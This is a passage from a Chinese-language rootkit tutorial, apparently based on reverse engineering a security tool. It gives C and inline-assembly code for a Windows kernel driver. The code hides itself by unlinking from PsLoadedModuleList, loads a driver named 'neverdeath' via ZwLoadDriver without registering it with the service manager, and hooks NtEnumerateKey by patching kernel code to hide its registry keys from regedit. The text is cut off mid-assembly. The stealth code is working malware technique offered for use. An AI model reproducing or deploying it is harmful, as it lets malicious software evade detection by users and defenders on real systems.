NtosModPtr = ( PMODULE_ENTRY ) PsLoadedModuleListPtr;
NtosModPtr = ( PMODULE_ENTRY ) (NtosModPtr->le_mod.Flink );
NtoskrnlBase = (DWORD) ( NtosModPtr->base );
return STATUS_SUCCESS;
}
NTSTATUS RemoveModule ( )
{
DWORD RemoveModleAddr;
PMODULE_ENTRY PModPtr_Current;
PMODULE_ENTRY PModPtr_Flink;
PMODULE_ENTRY PModPtr_Blink;
PModPtr_Current=(PMODULE_ENTRY)PsLoadedModuleListPtr;
PModPtr_Flink = (PMODULE_ENTRY)(PModPtr_Current->le_mod.Flink);
//Get RemoveModle Addr
RemoveModleAddr= DriverAddr;
for ( ; PModPtr_Flink->le_mod.Flink != (PLIST_ENTRY) PModPtr_Current ; PModPtr_Flink = (PMODULE_ENTRY)(PModPtr_Flink->le_mod.Flink) )
{
if ( RemoveModleAddr > ((DWORD)PModPtr_Flink->base) && RemoveModleAddr < ((DWORD)(PModPtr_Flink->Size) + ((DWORD)PModPtr_Flink->base)) )
{
PModPtr_Blink = (PMODULE_ENTRY)(PModPtr_Flink->le_mod.Blink);
PModPtr_Flink = (PMODULE_ENTRY)(PModPtr_Flink->le_mod.Flink);
PModPtr_Blink->le_mod.Flink= (PLIST_ENTRY)PModPtr_Flink;
PModPtr_Flink->le_mod.Blink= (PLIST_ENTRY)PModPtr_Blink;
IsDelModule=TRUE;
break;
}
}
if ( IsDelModule != TRUE )
{
return STATUS_DEVICE_CONFIGURATION_ERROR;
}
return STATUS_SUCCESS;
}
上麵這兩個函數中,GetPsLoadedModuleListPtr()是通過特征碼搜索獲取KdDebuggerDataBlock的位置,使用特征碼搜索辦法雖然不是很好,但是通用性強。然後再以此獲取PsLoadedModuleList地址,RemoveModule()用來實現在PsLoadedModuleList鏈表中刪除自己。在PsLoadedModuleList中定位的方法也是使用上麵利用DriverAddr定位。
五、隱藏服務:
普通情況下加載驅動需要 OpenSCManager->CreateService->StartService,這樣驅動就會跑到服務管理器中去注冊一下自己,並且要隱藏這樣加載驅動的服務,不是不行,隻是太麻煩而且沒效率了。要hook一大堆的服務函數。不過在逆向IS的時候發現了一個不需要去服務管理器注冊而直接加載驅動的方法。就是使用ZwLoadDriver(這個函數通常是ring0中加載驅動時用,由於被Ntdll.dll導出,ring3就也能用了)進行直接加載。這樣就不用去服務管理器中注冊自己,並且這樣加載的驅動windows係統工具中的“係統信息”查看器也查不到你,更不用說那些什麼服務管理器之類的東東了。屢用不爽。下麵介紹一下用法:
1、首先自己在注冊表的服務項中添加一個自己的服務名字項。
2、在自己添加的服務名字項中添加一些驅動信息(其實就是手工實現CreateService()函數對注冊表的那些操作),這些信息包括“ErrorControl”,“ImagePath”,“Start”,“Type”等等。你要手工設置這些鍵以及鍵值。
按上麵設置完後,來看看ZwLoadDriver的原形:
NTSTATUS
ZwLoadDriver(
IN PUNICODE_STRING DriverServiceName );
下麵的代碼給出了ZwLoadDriver的使用例子:
AnotherWayStartService( TCHAR *szDir )
{
HKEY RegKey;
HKEY hLicenses;
DWORD disp;
DWORD ErrorControl=NULL;
DWORD ProcessID;
DWORD Start=3;
DWORD Type=1;
LONG Regrt;
DWORD ZwLoadDriver;
DWORD RtlInitUnicodeString;
UNICODE_STRING RegService;
PCWSTRRegServicePath= L"//Registry//Machine//System//CurrentControlSet//Services//neverdeath";
TCHARDriverFilePath[MAX_PATH] = "//??//";
Regrt = RegOpenKeyEx (
HKEY_LOCAL_MACHINE,
"SYSTEM//CurrentControlSet//Services",
0,
KEY_CREATE_SUB_KEY + KEY_SET_VALUE,
&hLicenses );
if ( Regrt != ERROR_SUCCESS )
{
return false;
}
Regrt=RegCreateKeyEx (
hLicenses,
"neverdeath",
0,
"",
REG_OPTION_NON_VOLATILE,
KEY_ALL_ACCESS,
NULL,
&RegKey,
&disp );
if ( Regrt != ERROR_SUCCESS )
{
return false;
}
Regrt = RegOpenKeyEx (
&nbs, p;HKEY_LOCAL_MACHINE,
"SYSTEM//CurrentControlSet//Services//neverdeath",
0,
KEY_CREATE_SUB_KEY + KEY_SET_VALUE,
&RegKey );
if ( Regrt != ERROR_SUCCESS )
{
return false;
}
Regrt = RegSetValueEx (
RegKey,
"ErrorControl",
NULL,
REG_DWORD,
(const unsigned char *)(&ErrorControl),
4 );
if ( Regrt != ERROR_SUCCESS )
{
return false;
}
strcat(DriverFilePath, szDir);
Regrt = RegSetValueEx (
RegKey,
"ImagePath",
NULL,
REG_EXPAND_SZ,
(const unsigned char *)(&DriverFilePath),
strlen( DriverFilePath ) );
if ( Regrt != ERROR_SUCCESS )
{
return false;
}
Regrt = RegSetValueEx (
RegKey,
"Start",
NULL,
REG_DWORD,
(const unsigned char *)(&Start),
4 );
if ( Regrt != ERROR_SUCCESS )
{
return false;
}
Regrt = RegSetValueEx (
RegKey,
"Type",
NULL,
REG_DWORD,
(const unsigned char *)(&Type),
4 );
if ( Regrt != ERROR_SUCCESS )
{
return false;
}
//還記得前麵隱藏進程時,我們進程ID是從注冊表中取的
//下麵就是把進程ID寫入注冊表,不會影響驅動的加載
ProcessID=GetCurrentProcessId();
Regrt = RegSetValueEx (
RegKey,
"ProcessID",
NULL,
REG_DWORD,
(const unsigned char *)(&ProcessID),
4 );
if ( Regrt != ERROR_SUCCESS )
{
return false;
}
CloseHandle( RegKey );
ZwLoadDriver = (DWORD) GetProcAddress (
GetModuleHandle( "ntdll.dll" ),
"ZwLoadDriver" );
RtlInitUnicodeString = (DWORD) GetProcAddress(
GetModuleHandle( "ntdll.dll" ),
"RtlInitUnicodeString" );
_asm
{
pushad
push RegServicePath
lea edi, RegService
push edi
call RtlInitUnicodeString//裝載UNICODE字符
lea edi, RegService
push edi
call ZwLoadDriver
popad
}
return true;
}
請注意上麵這段代碼中加載驅動時所使用的注冊表路徑格式是:
“//Registry//Machine//System//CurrentControlSet//Services//neverdeath”
而不是:
“HKEY_LOCAL_MACHINE//SYSTEM//CurrentControlSet//Services//neverdeath”
也許你已經想到了那麼卸載驅動會不會就是函數“ZwUnloadDriver”?自己試一下不就知道了:)
六、隱藏注冊表:
IS處理注冊表並沒有什麼新意,就是調用那些ZwCreateKey、ZwOpenKey、ZwQueryKey、ZwSetValueKey一類的注冊表操作函數,通過偽造內核文件,所以這部分可以很輕鬆hook並實現隱藏。IS在這裏玩了一個小花樣,在XP下,IS會在把從ntoskrnl.exe讀到的NtEnumerateKey起始地址的第三個字(注意是字,不是字節!)先加上0xD50後,再進行還原,因此你在偽造內核文件時必須先把自己構造的代碼的第三個字減去0xD50後再寫入到otoskrnl.exe中,否則就等著BSOD吧。而在2K中就不需要這些操作。這裏主要是通過hook注冊表函數NtEnumerateKey來隱藏我們注冊中的“CurrentControlSet/Services”下的 “neverdeath”項以及“CurrentControlSet/Enum/Root”下的“LEGACY_NEVERDEATH”項。至於隱藏鍵與鍵值在這裏就不說了,自己隨手寫一個就是了。順便提一下,由於windows的regedit也是調用這些函數訪問注冊表,所以如果你在IS中隱藏了注冊表也就等於在windows的regedit中隱藏了。以下代碼在XP下測試通過,如要在2K或2K3中運行,請根據需要自己進行取舍。
由於NtEnumerateKey沒有被ntoskrnl.exe導出,這裏利用
NtEnumerateKey在服務表 偏移 = “NtDuplicateToken”在服務表中的偏移+2
來獲取NtEnumerateKey地址。
PCWSTR HideKey = L"neverdeath";
PCWSTR HideKeyLEG = L"LEGACY_NEVERDEATH";
unsigned char ResumCodeNtEnumerateKey[6];
unsigned char CrackCodeNtEnumerateKey[6];
unsigned char CrackCodeNtEnumerateKeyWriteFile[6];
typedef NTSTATUS ( *NTENUMERATEKEY ) (
IN HANDLEKeyHandle,
IN ULONGIndex,
IN KEY_INFORMATION_CLASSKeyInformationClass,
OUT PVOIDKeyInformation,
IN ULONGLength,
OUT PULONGResultLength );
NTENUMERATEKEY OldNtEnumerateKey;
typedef struct ServiceDescriptorEntry {
unsigned int *ServiceTableBase;
unsigned int *ServiceCounterTableBase; //Used only in checked build
unsigned int NumberOfServices;
unsigned char *ParamTableBase;
} ServiceDescriptorTableEntry, *PServiceDescriptorTableEntry;
extern PServiceDescriptorTableEntry KeServiceDescriptorTable;
NTSTATUS NewNtEnumerateKey(
IN HANDLEKeyHandle,
IN ULONGIndex,
IN KEY_INFORMATION_CLASSKeyInformationClass,
OUT PVOIDKeyInformation,
IN ULONGLength,
OUT PULONGResultLength )
{
NTSTATUS Status;
PCWSTR KeyNamePtr;
_asm//還原
{
pushad
mov edi, OldNtEnumerateKey
mov eax, dword ptr ResumCodeNtEnumerateKey[0]
mov [edi], eax
mov ax, word ptr ResumCodeNtEnumerateKey[4]
mov [edi+4], ax
popad
}
Status = ZwEnumerateKey (
KeyHandle,
Index,
KeyInformationClass,
KeyInformation,
Length,
ResultLength );
if ( Status == STATUS_SUCCESS )
{
_asm
{
push edi
mov edi, KeyInformation
add edi, 0x10
mov KeyNamePtr, edi
pop edi
}
if ( wcsstr(KeyNamePtr, HideKey)!=NULL || wcsstr(KeyNamePtr, HideKeyLEG) != NULL )
{
Index=Index+1;
Status = OldNtEnumerateKey (
KeyHandle,
Index,
KeyInformationClass,
KeyInformation,
Length,
ResultLength );
}
}
_asm //替換
{
pushad
mov edi, OldNtEnumerateKey
mov eax, dword ptr CrackCodeNtEnumerateKey[0]
mov [edi], eax
mov ax, word ptr CrackCodeNtEnumerateKey[4]
mov [edi+4], ax
popad
}
return Status;
}
NTSTATUS GetOldNtEnumerateKey()
{
DWORD NtDuplicateTokenAddr;
int i=0;
NtDuplicateTokenAddr = GetFunctionAddr( L"NtDuplicateToken" );
if ( NtDuplicateTokenAddr == NULL )
{
DbgPrint("Get NtQuerySystemInformation Addr Error!!");
return STATUS_DEVICE_CONFIGURATION_ERROR;
}
for (;;i++)
{
if ( NtDuplicateTokenAddr == (DWORD)(*(((PServiceDescriptorTableEntry)KeServiceDescriptorTable)->ServiceTableBase + i)) )
{
OldNtEnumerateKey = (NTENUMERATEKEY)(*(((PServiceDescriptorTableEntry)KeServiceDescriptorTable)->ServiceTableBase + (i+2)));
break;
}
}
return STATUS_SUCCESS;
}
NTSTATUS PatchNtEnumerateKey()
{
NTSTATUS Status;
Status = GetOldNtEnumerateKey();
if ( Status != STATUS_SUCCESS )
{
DbgPrint("Get NtQuerySystemInformation Addr Error!!");
return STATUS_DEVICE_CONFIGURATION_ERROR;
}
_asm//關中斷
{
CLI
MOVEAX, CR0
AND EAX, NOT 10000H
最後更新:2017-04-02 00:06:21